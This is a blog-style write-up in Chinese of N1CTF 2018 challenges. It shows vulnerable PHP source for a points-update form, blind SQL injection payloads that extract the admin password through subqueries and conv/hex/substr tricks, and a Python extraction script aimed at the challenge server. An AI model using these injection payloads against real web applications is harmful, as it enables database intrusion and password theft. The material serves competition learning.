2018-N1ctf
Mar 11, 2018 09:54 · 151 words · 1 minute read
.
checkin
题目给了#n1ctf2018的提示,直接提交不行,拿去谷歌搜了一下,发现在首页有IRC频道,然后拿去登录,之后看到一串base64,拿去解密得到flag。
N1CTF{Welc0me_to_N1CTF_2018}
77777
提示
This is my page.
U can update my points in Profile.
And the flag is `admin's password`:)
在profile处有一个显示My Points的地方。 给的源码
<?php
function update_point($p,$points){
global $link;
$q = sprintf("update users set points=%d%s",$p,waf($points));
if (!$query = mysqli_query($link,$q)) {
return TRUE;
}
}
if (!update_point($_POST['flag'],$_POST['hi'])) {
echo "sorry";
}
?>
大致思路
注入点在\$_POST[‘hi’],在这里构造where语句来判断update语句有没有执行成功。根据My Points的值有没有更新为\$_POST[‘flag’]的值来判断是否执行成功。 测试后发现information_schema,database()都过滤了,剩下有where select from没过滤,根据提示猜测password存在于users表。
在构造的时候出了一点问题,就是update后的子查询不能是update的表。官方报错为
update yang set id=111 where (select pass from yang)>'a'
You can't specify target table 'yang' for update in FROM clause
谷歌到了一篇文章来解决这个问题 http://www.cnblogs.com/chy1000/archive/2010/03/02/1676282.html 最终的payload
flag=333331&hi= where (select password from(select password from users)t) > 'a'
然后去写脚本,写到最后也没跑出来,因为题目没有设置seesion的原因。大家同时更新一个表,所以之间相互影响很严重,最后手工一点点测试了出来(真的有点菜)。 flag
注出的密码
he3l3locat233
77777 - 2
paylaod
%2bconv(hex(substr((select password),1,4)),16,10)
题目还过滤了2,3,4,5这几个数字。所以只能一个一个加上去了
根据这个姿势写的脚本
import requests
import binascii
import re
url = 'http://47.52.137.90:20000/index.php'
r = requests.session()
a = '+1+1+1'
sub = '1'
flag = ''
for x in range(1,20):
payload = {'flag':'0','hi':'+conv(hex(substr((select pw ),%s,1+1+1)),16,10)'%(sub)}
print(payload)
r1 =r.post(url,data=payload)
pw_10 = re.findall('<grey>My Points</grey> |(\d*?)<br/',r1.text)
str1 = binascii.unhexlify(hex(int(pw_10[1]))[2:]).decode('utf-8')//binascii.unhexlify16进制转字符
flag+=str1
print(flag)
sub+=a
跑出来的结果
hahah777a7aha77777aaaa